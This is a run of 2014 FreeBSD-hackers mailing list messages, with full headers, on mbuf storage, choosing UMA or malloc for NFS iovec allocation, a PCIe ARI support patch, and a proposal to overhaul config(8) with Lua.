Fri, 14 Mar 2014 18:38:57 -0700 (PDT) Content-Type: text/plain; charset=us-ascii Mime-Version: 1.0 (Mac OS X Mail 7.2 \(1874\)) Subject: Re: mbuf question From: Rui Paulo In-Reply-To: <53230214.7010501@gmail.com> Date: Fri, 14 Mar 2014 18:39:00 -0700 Content-Transfer-Encoding: quoted-printable Message-Id: References: <53230214.7010501@gmail.com> To: Hooman Fazaeli X-Mailer: Apple Mail (2.1874) Cc: FreeBSD Hackers X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sat, 15 Mar 2014 01:38:59 -0000 On 14 Mar 2014, at 06:20, Hooman Fazaeli = wrote: > Hi list, >=20 > Is it safe to use m->m_pktdat area to store some arbitrary data about = packets allocated as mbuf+cluster pair? No, because m_pktdat is really MH_databuf which is part of a union with = MH_ext which is set when you allocate an mbuf cluster. -- Rui Paulo From owner-freebsd-hackers@FreeBSD.ORG Sat Mar 15 01:44:13 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:1900:2254:206a::19:1]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 58D5A671; Sat, 15 Mar 2014 01:44:13 +0000 (UTC) Received: from esa-annu.net.uoguelph.ca (esa-annu.mail.uoguelph.ca [131.104.91.36]) by mx1.freebsd.org (Postfix) with ESMTP id C3AF39CB; Sat, 15 Mar 2014 01:44:12 +0000 (UTC) X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AqUEAPavI1ODaFve/2dsb2JhbABWA4NBV4MGt0mGYU+BKnSCJQEBAQMBAQEBIAQnIAsbGAICDRkCKQEJJgYIBwQBHASHUAgNsT+iYBeBKYxcCwUCAQEaJBAHEYJegUkElW6ECZB8g0khMXxB X-IronPort-AV: E=Sophos;i="4.97,658,1389762000"; d="scan'208";a="105734583" Received: from muskoka.cs.uoguelph.ca (HELO zcs3.mail.uoguelph.ca) ([131.104.91.222]) by esa-annu.net.uoguelph.ca with ESMTP; 14 Mar 2014 21:44:05 -0400 Received: from zcs3.mail.uoguelph.ca (localhost.localdomain [127.0.0.1]) by zcs3.mail.uoguelph.ca (Postfix) with ESMTP id 91459B420B; Fri, 14 Mar 2014 21:44:05 -0400 (EDT) Date: Fri, 14 Mar 2014 21:44:05 -0400 (EDT) From: Rick Macklem To: John-Mark Gurney Message-ID: <804839311.22904387.1394847845581.JavaMail.root@uoguelph.ca> In-Reply-To: <20140314015021.GN32089@funkthat.com> Subject: Re: kernel memory allocator: UMA or malloc? MIME-Version: 1.0 Content-Type: text/plain; charset=utf-8 Content-Transfer-Encoding: 7bit X-Originating-IP: [172.17.91.202] X-Mailer: Zimbra 7.2.1_GA_2790 (ZimbraWebClient - FF3.0 (Win)/7.2.1_GA_2790) Cc: Freebsd hackers list , Garrett Wollman X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sat, 15 Mar 2014 01:44:13 -0000 John-Mark Gurney wrote: > Rick Macklem wrote this message on Thu, Mar 13, 2014 at 18:22 -0400: > > John-Mark Gurney wrote: > > > Rick Macklem wrote this message on Wed, Mar 12, 2014 at 21:59 > > > -0400: > > > > John-Mark Gurney wrote: > > > > > Rick Macklem wrote this message on Tue, Mar 11, 2014 at 21:32 > > > > > -0400: > > > > > > I've been working on a patch provided by wollman@, where > > > > > > he uses UMA instead of malloc() to allocate an iovec array > > > > > > for use by the NFS server's read. > > > > > > > > > > > > So, my question is: > > > > > > When is it preferable to use UMA(9) vs malloc(9) if the > > > > > > allocation is going to be a fixed size? > > > > > > > > > > UMA has benefits if the structure size is uniform and a > > > > > non-power > > > > > of > > > > > 2.. > > > > > In this case, it can pack the items more densely, say, a 192 > > > > > byte > > > > > allocation can fit 21 allocations in a 4k page size verse > > > > > malloc > > > > > which > > > > > would round it up to 256 bytes leaving only 16 per page... > > > > > These > > > > > counts per page are probably different as UMA may keep some > > > > > information > > > > > in the page... > > > > > > > > > Ok, this one might apply. I need to look at the size. > > > > > > > > > It also has the benefit of being able to keep allocations > > > > > "half > > > > > alive".. > > > > > "freed" objects can be partly initalized with references to > > > > > buffers > > > > > and > > > > > other allocations still held by them... Then if the systems > > > > > needs > > > > > to > > > > > fully free your allocation, it can, and will call your > > > > > function > > > > > to > > > > > release these remaining resources... look at the ctor/dtor > > > > > uminit/fini > > > > > functions in uma(9) for more info... > > > > > > > > > > uma also allows you to set a hard limit on the number of > > > > > allocations > > > > > the zone provides... > > > > > > > > > Yep. None of the above applies to this case, but thanks for the > > > > good points > > > > for a future case. (I've seen where this gets used for the > > > > "secondary zone" > > > > for mbufs+cluster.) > > > > > > > > > Hope this helps... > > > > > > > > > Yes, it did. Thanks. > > > > > > > > Does anyone know if there is a significant performance > > > > difference > > > > if the allocation > > > > is a power of 2 and the "half alive" cases don't apply? > > > > > > From my understanding, the malloc case is "slightly" slower as it > > > needs to look up which bucket to use, but after the lookup, the > > > buckets > > > are UMA, so the performance will be the same... > > > > > > > Thanks all for your help, rick > > > > ps: Garrett's patch switched to using a fixed size allocation > > > > and > > > > using UMA(9). > > > > Since I have found that a uma allocation request with > > > > M_WAITOK > > > > can get the thread > > > > stuck sleeping in "btalloc", I am a bit shy of using it > > > > when > > > > I've never > > > > > > Hmm... I took a look at the code, and if you're stuck in > > > btalloc, > > > either pause(9) isn't working, or you're looping, which probably > > > means > > > you're really low on memory... > > > > > Well, this was an i386 with the default of about 400Mbytes of > > kernel > > memory (address space if I understand it correctly). Since it > > seemed > > to persist in this state, I assumed that it was looping and, > > therefore, > > wasn't able to find a page sized and page aligned chunk of kernel > > address space to use. (The rest of the system was still running > > ok.) > > It looks like vm.phys_free would have some useful information about > the > availability of free memory... I'm not sure if this is where the > allocators get their memory or not.. I was about to say it seamed > weird > we only have 16K as the largest allocation, but that's 16MEGs.. > I can't reproduce it reliably. I saw it twice during several days of testing. > > I did email about this and since no one had a better > > explanation/fix, > > I avoided the problem by using M_NOWAIT on the m_getjcl() call. > > > > Although I couldn't reproduce this reliably, it seemed to happen > > more > > easily when my code was doing a mix of MCLBYTES and MJUMPAGESIZE > > cluster > > allocation. Again, just a hunch, but maybe the MCLBYTE cluster > > allocations > > were fragmenting the address space to the point where a page sized > > chunk > > aligned to a page boundary couldn't be found. > > By definition, you would be out of memory if there is not a page free > (that is aligned to a page boundary, which all pages are)... > > It'd be interesting to put a printf w/ the pause to see if it is > looping, and to get a sysctl -a from the machine when it is > happening... > > > Alternately, the code for M_WAITOK is broken in some way not > > obvious > > to me. > > > > Either way, I avoid it by using M_NOWAIT. I also fall back on: > > MGET(..M_WAITOK); > > MCLGET(..M_NOWAIT); > > which has a "side effect" of draining the mbuf cluster zone if the > > MCLGET(..M_NOWAIT) fails to get a cluster. (For some reason > > m_getcl() > > and m_getjcl() do not drain the cluster zone when they fail?) > > Why aren't you using m_getcl(9) which does both of the above > automaticly > for you? And is faster, since there is a special uma zone that has > both an mbuf and an mbuf cluster paired up already? > Well, remember this is only done as a fallback if m_getjcl(..M_NOWAIT..) fails (returns NULL). --> It will rarely happen when there are no easily allocatable clusters. For that case, I wanted something that will reliably get at least an mbuf without getting stuck in "btalloc". If I used m_getcl(..M_NOWAIT..) it could still fail, then I don't even have an mbuf. If I used m_getcl(..M_WAITOK..) it could get stuck in "btalloc". Since m_getjcl(..M_NOWAIT..) already failed, it is constrained at this time. Also (and I don't know why), only m_clget(..M_NOWAIT..) does a drain on the mbuf cluster zone. This is not done by m_getcl() or m_getjcl() from what I saw when I looked at the code. Note that the above uses M_WAITOK for m_get() and M_NOWAIT for m_clget(), it may only get an mbuf and no cluster, but I can live with that. > > One of the advantages of having very old/small hardware to test > > on;-) > > :) > > > > > had a problem with malloc(). Btw, this was for a pagesize > > > > cluster allocation, > > > > so it might be related to the alignment requirement (and > > > > running on a small > > > > i386, so the kernel address space is relatively small). > > > > > > Yeh, if you put additional alignment requirements, that's > > > probably > > > it, > > > but if you needed these alignment requirements, how was malloc > > > satisfying your request? > > > > > This was for a m_getjcl(MJUMAGEIZE, M_WAITOK..), so for this case > > I've never done a malloc(). The code in head (which my patch uses > > as > > a fallback when m_getjcl(..M_NOWAIT..) fails does (as above): > > MGET(..M_WAITOK); > > MCLGET(..M_NOWAIT); > > When that fails, an netstat -m would also be useful to see what the > stats think of the availability of page size clusters... > This has never failed in testing. The case that would get stuck in "btalloc" was a: m_getjcl(..M_WAITOK..); - same as m_getcl(), but sometimes asking for a MJUMPAGESIZE cluster instead of a MCLBYTES cluster. The current patch still does a m_getjcl() call, but with M_NOWAIT. Then, if that returns NULL, it falls back to the old reliable way, as above. > > > > I do see that switching to a fixed size allocation to cover > > > > the > > > > common > > > > case is a good idea, but I'm not sure if setting up a uma > > > > zone > > > > is worth > > > > the effort over malloc()? > > > > > > I'd say it depends upon how many and the number... If you're > > > allocating > > > many megabytes of memory, and the wastage is 50%+, then think > > > about > > > it, but if it's just a few objects, then the coding time and > > > maintenance isn't worth it.. > > > > > Btw, I think the allocation is a power of 2. (It is a power of 2 > > times > > sizeof(struct iovec) and it looks to me that sizeof(struct iovec) > > is > > a power of 2 as well. (I know i386 is 8 and I think most 64bits > > arches > > will make it 16, since it is a pointer and a size_t.) > > yes, struct iovec is 16 on amd64... > > (kgdb) print sizeof(struct iovec) > $1 = 16 > > > This was part of Garrett's patch, so I'll admit I would have been > > to > > lazy to do it.;-) Now it's in the current patch, so unless there > > seems > > to be a reason to take it out..?? > > > > Garrett mentioned that UMA(9) has a per-CPU cache. I'll admit I > > don't > > know what that implies? > > a per-CPU cache means that on an SMP system, you can lock the local > pool instead of grabing a global lock.. This will be MUCH faster as > the local lock won't have to bounce around CPUs like a global lock > does, plus it should never contend which really puts the breaks on > sync primities... > > > - I might guess that a per-CPU cache would be useful for items that > > get > > re-allocated a lot with minimal change to the data in the slab. > > --> It seems to me that if most of the bytes in the slab have the > > same bits, then you might improve hit rate on the CPU's > > memory > > caches, but since I haven't looked at this, I could be way > > off?? > > caching will help some, but the lock is the main one... > > > - For this case, the iovec array that is allocated is filled in > > with > > different mbuf data addresses each time, so minimal change > > doesn`t > > apply. > > So, this is where a UMA half alive object could be helpful... Say > that > you always need to allocate an iovec + 8 mbuf clusters to populate > the > iovec... What you can do is have a uma uminit function that > allocates > the memory for the iovec and 8 mbuf clusters, and populates the iovec > w/ the correct addresses... Then when you call uma_zalloc, the iovec > is already initalized, and you just go on your merry way instead of > doing all that work... when you uma_zfree, you don't have to worry > about loosing the clusters as the next uma_zalloc might return the > same object w/ the clusters already present... When the system gets > low on memory, it will call your fini function which will need to > free the clusters.... > > > - Does the per-CPU cache help w.r.t. UMA(9) internal code perf? > > > > So, lots of questions that I don't have an answer for. However, > > unless > > there is a downside to using UMA(9) for this, the code is written > > and > > I'm ok with it. > > Nope, not really... > > -- > John-Mark Gurney Voice: +1 415 225 5579 > > "All that I will do, has been done, All that I have, has not." > _______________________________________________ > freebsd-hackers@freebsd.org mailing list > http://lists.freebsd.org/mailman/listinfo/freebsd-hackers > To unsubscribe, send any mail to > "freebsd-hackers-unsubscribe@freebsd.org" > From owner-freebsd-hackers@FreeBSD.ORG Sat Mar 15 02:06:13 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:1900:2254:206a::19:1]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 3BF89B66 for ; Sat, 15 Mar 2014 02:06:13 +0000 (UTC) Received: from mail-ob0-x231.google.com (mail-ob0-x231.google.com [IPv6:2607:f8b0:4003:c01::231]) (using TLSv1 with cipher ECDHE-RSA-RC4-SHA (128/128 bits)) (No client certificate requested) by mx1.freebsd.org (Postfix) with ESMTPS id 0A537B8C for ; Sat, 15 Mar 2014 02:06:12 +0000 (UTC) Received: by mail-ob0-f177.google.com with SMTP id wo20so3248803obc.8 for ; Fri, 14 Mar 2014 19:06:12 -0700 (PDT) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=mime-version:date:message-id:subject:from:to:content-type; bh=YaIYaiQd08vdQ+EWS22qpJ2ejspFJk5vCrUkzjA7k0w=; b=PWoS2LPIgg79chvQAf46yjeDAIvhs1Ybkm92SUgvdTmUd1pbs8bx5Dhc0Q8YBLj7DM KtMVuz2ZWZbhs3/Vs7pXRPDbwrcF/EURb2EdpD+RkGLWCbads5xRIddpfzI1xxxAiy5q EM64Ia+JlhIoM5feSGUa1HXYidb8TtUScKhXoI4FMELKUBmzLspHYLG1eLk2uOJOnibp Fr5GE3h1zC8rwHntXgsaGjoLfx83KlzlrkCVNJtwRNHHQlnO4lgwpjgsxqDnkohLcvKF gCITq4fPuxi0/iBM3+R82aVHQz87KkM+PY3tegYiorg04pAFQoz+6o8n+G0MSIYwOPv0 +O9w== MIME-Version: 1.0 X-Received: by 10.182.65.199 with SMTP id z7mr9634628obs.7.1394849172404; Fri, 14 Mar 2014 19:06:12 -0700 (PDT) Received: by 10.76.132.8 with HTTP; Fri, 14 Mar 2014 19:06:12 -0700 (PDT) Date: Fri, 14 Mar 2014 22:06:12 -0400 Message-ID: Subject: [PATCH] Support PCIe Alternative RID Interpretation (ARI) From: Ryan Stone To: "freebsd-hackers@freebsd.org" Content-Type: text/plain; charset=ISO-8859-1 X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sat, 15 Mar 2014 02:06:13 -0000 http://people.freebsd.org/~rstone/patches/pci_ari.diff This patch add support for PCIe Alternative RID Interpretation (ARI) to our PCI implementation. ARI is an optional feature in PCIe; when it is enabled on a endpoint device that device can have up to 256 PCI functions (increased from 8). This is implemented by re-interpreting the 5-bit slot number as being part of the function number. The slot number for all such functions will implicitly be 0. There are two main changes here. The first changes PCI enumeration to explicitly probe slot 0, function 0 separate from all other devices. This is necessary because we must check whether the device supports ARI and enable it before enumerating the rest of the devices. The other main change affects pci configuration space accesses. When pcib_read_config/pcib_write_config is called on a downstream port that has ARI enabled, we convert the 8-bit function number back into a 5-bit slot number and 3-bit function number before passing the request up the device tree. This was the simplest way to insulate the rest of the PCI subsystem from knowledge of ARI. I have also added a new tunable, hw.pci.enable_ari, that controls whether ARI will be enabled on devices that support it. I plan on defaulting it to 1 on HEAD but will probably default to 0 when I MFC. I've tested on a few different motherboards at $WORK, but the only ARI-capable device that I have access to is Intel 82599 NICs (ixgbe driver), so if anybody is able to test with other hardware that would be really helpful. Testing that the driver is able to attach and testing basic functionality (e.g. ping on a network interface) would be sufficient. In order for ARI to be enabled both the downstream port (the physical PCIe slot) and the endpoint device (the PCIe card) have to both support ARI. My patch adds support to pciconf -lc to have it print whether a downstream port supports ARI. You can check for ARI support by looking for: cap 10[90] = PCI-Express 2 root port slot max data 128(256) link x0(x4) speed 0.0(5.0) ASPM disabled(L0s/L1) ARI disabled If it says "ARI enabled" or "ARI disabled" then the port supports ARI. If ARI is disabled please confirm that no ARI-capable device is in the slot (or else it's a bug and please report it). If ARI is enabled then please confirm that there is an ARI-capable device in the slot (otherwise please report it to me) pciconf -lc already will print out if a endpoint device supports ARI. Look for the ARI extended capability: ecap 000e[150] = ARI 1 From owner-freebsd-hackers@FreeBSD.ORG Sat Mar 15 00:21:34 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [8.8.178.115]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 84C30DF7 for ; Sat, 15 Mar 2014 00:21:34 +0000 (UTC) Received: from nm33.bullet.mail.bf1.yahoo.com (nm33.bullet.mail.bf1.yahoo.com [72.30.238.133]) (using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits)) (No client certificate requested) by mx1.freebsd.org (Postfix) with ESMTPS id 30A70B4 for ; Sat, 15 Mar 2014 00:21:33 +0000 (UTC) Received: from [66.196.81.171] by nm33.bullet.mail.bf1.yahoo.com with NNFMP; 15 Mar 2014 00:18:53 -0000 Received: from [98.139.211.199] by tm17.bullet.mail.bf1.yahoo.com with NNFMP; 15 Mar 2014 00:18:53 -0000 Received: from [127.0.0.1] by smtp208.mail.bf1.yahoo.com with NNFMP; 15 Mar 2014 00:18:53 -0000 DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=yahoo.com; s=s1024; t=1394842733; bh=z3vGaRIXcSqpW6w91bPi+CktHLlokN5ifk9hYQjMXGc=; h=X-Yahoo-Newman-Id:X-Yahoo-Newman-Property:X-YMail-OSG:X-Yahoo-SMTP:X-Rocket-Received:Date:From:To:Cc:Subject:Message-ID:References:MIME-Version:Content-Type:Content-Disposition:Content-Transfer-Encoding:In-Reply-To:User-Agent; b=PvXSkb15zPbE79SNzl8yu9HK8JBCjOF+6/gxdShJoTJHMfa/TN1+EdMbz5Bgr07L6ExYjjiMFRI85Vp/4H4zAfM0bSnjx6bg48c8MCoPR532JgSVhRTzNHnM6Is9n1jKA/0DjBqth7GyZB5aab71CIsKwPRkJYboE6xdauxIeFw= X-Yahoo-Newman-Id: 907049.92111.bm@smtp208.mail.bf1.yahoo.com X-Yahoo-Newman-Property: ymail-3 X-YMail-OSG: C9byG3UVM1kvty0ofddJkkVnQ7DeMkELrRzJxgppx46Tzmm Zmgc.OEQp51Z4MUx0oyNVIGtVs8pToejn1IRtCrZeOg9Jb0CUzwS5u.P2B.J IYJB8fc.Jn27shgi9p3nzkJwXzCNPc7HSl1Y2HOHyrcDPTlio0QnlCJuYkQf mOtaTdE83vH7XE6S.XAPISm29VsZKHb0pSMrF7JL1QZR8001jErJl7gcGGuk 9dpOmaKl.FVgh1Z19cu1qpK4nx82a04ef3DY1PcowxnYxnNA1csgD3FuLNCh 1huVlhvgkA9.LFzTOCFoOETmYQc96BM4e_sdghL4TKiUl1U0r0wmU8GpORff 7ew6JBnGx12zFQ3ACEAWM1DXrVvKPsj44Kczd_1i0lN0CJVLlcuGv5imjpzo ydHj.CZJzIfEly9VSC0P4pxxsn8hwekdQPspyLeNJBiwpV.E5oeIgON4jbUR MttFL1K99.gDPFEMSOUb3_y72vHFcfCoa0o_fr2iIfx.JtByhbYK54ZEqozI 4gXBR9RQUn25hqOebVX2jRozrAujvYCssiiQiBZ466xbBs517resuTqfWfoG VgazUN69KW6iis3lCLj.eqvBiYs9QDXvqqwPRCN0RpW9VB7Cbw_RlCK_Xk02 Ec7ArUSKO_dYSRRhvtsFhhqzvBV3m890TTRN1nFzUEGplHfWwWtxOkE7BXYU IfWb1Kjcy1TiMPDQV_.OIO5NA.O5QA5E- X-Yahoo-SMTP: yVvIDoOswBD5zOzqXnwUE.yVSR2Kvw-- X-Rocket-Received: from nbu (walt.ford@71.168.199.64 with plain [98.138.105.22]) by smtp208.mail.bf1.yahoo.com with SMTP; 14 Mar 2014 17:18:53 -0700 PDT Date: Fri, 14 Mar 2014 20:18:20 -0400 From: Walt Ford To: =?utf-8?B?5pyx5rGf?= Subject: Re: Overhaul the config system with Lua Message-ID: <20140315001820.GB5765@nbu> References: MIME-Version: 1.0 Content-Type: text/plain; charset=utf-8 Content-Disposition: inline Content-Transfer-Encoding: 8bit In-Reply-To: User-Agent: Mutt/1.5.21 (2010-09-15) X-Mailman-Approved-At: Sat, 15 Mar 2014 02:07:01 +0000 Cc: freebsd-hackers X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sat, 15 Mar 2014 00:21:34 -0000 On Sat, Mar 15, 2014 at 01:11:03AM +0800, 朱江 wrote: > I want to overhaul the config system with Lua, and it will be my GSoC 2014 > project. Here is the > proposal That's an excellent project. I've had Lua in my own base system for years and have converted the rc system to use it at various times, along with some base utilities. I've been considering posting a Kickstarter project to finally finish it all, but Lua isn't the most popular language, and FreeBSD isn't the most popular OS. The main goal of my work was to present a more uniform userland. Everybody hacks on the kernel, but userland gets a little ignored. There's not much uniformity between command-line options, interactivity, color, scriptability, layout, and naming of utilities, and Lua was a great fit to clean it up. I even got it to the point of generating utilities on its own. When Robert Watson imported audit(2) it was able to crawl the headers and generate a utility in the style of top(1) that showed the most active audit record types as colorized output like gstat(8). Lua could get to the point where it automatically generates entire applications with uniform command-line options, interactivity, color, and scriptability, just based on kernel subsystem definitions in header files plus a little glue. Unfortunately, I've never had the time or money to finish it all. That audit utility is dated 2007. > I will create a wiki in my site soon. Please let me know if you have any > good ideas about the new config system. They will not be a part of my GSoC > project, however, I will do this work continuously after GSoC. I converted a lot of FreeBSD to Lua, but never config(8). Some build issues to figure out how to solve are: * the differences and sloppiness in how userland and kernel options are handled kernel options are manually documented in sys/conf/options* and have no man page share/examples/etc/kern.conf doesn't exist userland options are documented in tools/build/options and the man page, src.conf, is generated using a shell script share/examples/etc/src.conf doesn't exist share/examples/etc/make.conf is manually updated and often out-of-date * generate GENERIC config files currently things are copied and pasted for every arch would need to account for DEFAULTS * automatic generation of OptionalObsoleteFiles.inc must be manually updated and has never been complete a make target could build twice with and without option then find the missing files probably a better job for jenkins and make, but Lua could help I'm sure there are other ways to improve the build system as a whole using Lua, as long as you don't confine yourself to reimplementing config(8) only. The information about options currently stored in tools/build/options and sys/conf/options should really be part of config(8), along with the architecture information necessary to generate documentation or source files automatically. Lua would make a great kernel language as well, another one of the projects I started and haven't had time to play with. -- Walt From owner-freebsd-hackers@FreeBSD.ORG Sat Mar 15 03:36:37 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:1900:2254:206a::19:1]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 5228C3B0 for ; Sat, 15 Mar 2014 03:36:37 +0000 (UTC) Received: from wonkity.com (wonkity.com [67.158.26.137]) (using TLSv1.2 with cipher ECDHE-RSA-AES256-GCM-SHA384 (256/256 bits)) (No client certificate requested) by mx1.freebsd.org (Postfix) with ESMTPS id F1E455FA for ; Sat, 15 Mar 2014 03:36:36 +0000 (UTC) Received: from wonkity.com (localhost [127.0.0.1]) by wonkity.com (8.14.8/8.14.8) with ESMTP id s2F3aYQ6026425 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-GCM-SHA384 bits=256 verify=NO); Fri, 14 Mar 2014 21:36:34 -0600 (MDT) (envelope-from wblock@wonkity.com) Received: from localhost (wblock@localhost) by wonkity.com (8.14.8/8.14.8/Submit) with ESMTP id s2F3aY8R026422; Fri, 14 Mar 2014 21:36:34 -0600 (MDT) (envelope-from wblock@wonkity.com) Date: Fri, 14 Mar 2014 21:36:34 -0600 (MDT) From: Warren Block To: Walt Ford Subject: Re: Overhaul the config system with Lua In-Reply-To: <20140315001820.GB5765@nbu> Message-ID: References: <20140315001820.GB5765@nbu> User-Agent: Alpine 2.00 (BSF 1167 2008-08-23) MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII; format=flowed X-Greylist: Sender IP whitelisted, not delayed by milter-greylist-4.4.3 (wonkity.com [127.0.0.1]); Fri, 14 Mar 2014 21:36:34 -0600 (MDT) Cc: freebsd-hackers , =?ISO-2022-JP?Q?=1B$B=3Ck9=3E=1B=28J?= X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sat, 15 Mar 2014 03:36:37 -0000 On Fri, 14 Mar 2014, Walt Ford wrote: > On Sat, Mar 15, 2014 at 01:11:03AM +0800, ?? wrote: >> I want to overhaul the config system with Lua, and it will be my GSoC 2014 >> project. Here is the >> proposal > > That's an excellent project. I've had Lua in my own base system for > years and have converted the rc system to use it at various times, > along with some base utilities. I've been considering posting a > Kickstarter project to finally finish it all, but Lua isn't the most > popular language, and FreeBSD isn't the most popular OS. Speaking as someone who thinks too much stuff is in base... I'd like to see Lua in base. Or any modern scripting language, but Lua is small and has the right license. NetBSD put it in their kernel (!). From owner-freebsd-hackers@FreeBSD.ORG Sat Mar 15 03:54:01 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:1900:2254:206a::19:1]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id DD2E372B for ; Sat, 15 Mar 2014 03:54:01 +0000 (UTC) Received: from nm43-vm10.bullet.mail.bf1.yahoo.com (nm43-vm10.bullet.mail.bf1.yahoo.com [216.109.114.171]) (using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits)) (No client certificate requested) by mx1.freebsd.org (Postfix) with ESMTPS id 4F3C37C1 for ; Sat, 15 Mar 2014 03:54:01 +0000 (UTC) Received: from [98.139.212.153] by nm43.bullet.mail.bf1.yahoo.com with NNFMP; 15 Mar 2014 03:51:48 -0000 Received: from [98.139.211.195] by tm10.bullet.mail.bf1.yahoo.com with NNFMP; 15 Mar 2014 03:51:48 -0000 Received: from [127.0.0.1] by smtp204.mail.bf1.yahoo.com with NNFMP; 15 Mar 2014 03:51:48 -0000 DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=yahoo.com; s=s1024; t=1394855508; bh=fuvo5rCbkq5ynvT2o+c4M8oxWNoW2MkN17G99IHyL9M=; h=X-Yahoo-Newman-Id:X-Yahoo-Newman-Property:X-YMail-OSG:X-Yahoo-SMTP:X-Rocket-Received:Date:From:To:Cc:Subject:Message-ID:References:MIME-Version:Content-Type:Content-Disposition:In-Reply-To:User-Agent; b=ZgUZ18d9H6C0SDZ4qaBzlSLDbjg9SXXL21Tp3POv+iGXs4XazmFZKk0Olbgn0+JexxtNtGO9le6919Ijfx5bpqLcMiIvtOXkCJU8nplJmvNcEMPrHpRAwZFOFsuyINLeJ9kfjbEd/mLB1satpyd6ufRoY3P3IvS1TQFl+V36tXk= X-Yahoo-Newman-Id: 824527.67376.bm@smtp204.mail.bf1.yahoo.com X-Yahoo-Newman-Property: ymail-3 X-YMail-OSG: vg7yJ88VM1l5Nk5l4iy_lB3MfzHj5rFtEZ4CyKcNUokoYbV zuprb2_mHvS1GhRvRvjDnrGzQuypjourNEbUHP7UhESSEvpAH8r1k3YWXYfq obMjtIGnekISTeFBOVVTuY6WGZ7FeDWCtddTd3.oav4W5vCpPLYucYL36Dtd tT8ildy41en24jjuFZ.xB.9XA4O_HJcaNBOM263_B.s0_z6z1R0GMpZwnFz2 LD2vBWJRqQBg0fAODyAcbBoZneK1PaBfRG7TsNNmUmsDZmxABStjwDxr4VHK r65A6CHm1nv9T2jJtQkXbeAs9hMXxaC5fiFldMglpFA_PNWsjy7uHWFG5D5C zOrcSgzoG1JS07b89MEu141UuaoMsOHpiKOR6vomu_aA6LvPToip1Gx8SVI. YB4aISmYiP6WGFSIhBS1NUp4DFy80HXbcxesNBwwXSgR1LIM3DkqptWkc0Ug y457E9mKclIL1qlneIzfNWrYDrbPBswWfuILW7jxWwOApu5A5fqaBd1ELzbb p1Ht0vsRreWYDIJNpU.3KBT1mthHIfRFmeA-- X-Yahoo-SMTP: yVvIDoOswBD5zOzqXnwUE.yVSR2Kvw-- X-Rocket-Received: from nbu (walt.ford@71.168.199.64 with plain [98.138.105.22]) by smtp204.mail.bf1.yahoo.com with SMTP; 14 Mar 2014 20:51:48 -0700 PDT Date: Fri, 14 Mar 2014 23:51:44 -0400 From: Walt Ford To: Warren Block Subject: Re: Overhaul the config system with Lua Message-ID: <20140315035144.GC6674@nbu> References: <20140315001820.GB5765@nbu> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: User-Agent: Mutt/1.5.21 (2010-09-15) Cc: freebsd-hackers , =?utf-8?B?5pyx5rGf?= X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sat, 15 Mar 2014 03:54:01 -0000 On Fri, Mar 14, 2014 at 09:36:34PM -0600, Warren Block wrote: > On Fri, 14 Mar 2014, Walt Ford wrote: > > >That's an excellent project. I've had Lua in my own base system for > >years and have converted the rc system to use it at various times, > >along with some base utilities. > > Speaking as someone who thinks too much stuff is in base... I'd like > to see Lua in base. Or any modern scripting language, but Lua is > small and has the right license. NetBSD put it in their kernel (!). I agree, I think all of contrib should be in ports only, but I prefer a base with Lua. I didn't know NetBSD put it in their kernel. I started experimenting with an embedded interpreter as a replacement for mi_startup() to easily pass control back to it from subsystems, but I never got too far. -- Walt From owner-freebsd-hackers@FreeBSD.ORG Sat Mar 15 04:31:17 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [8.8.178.115]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 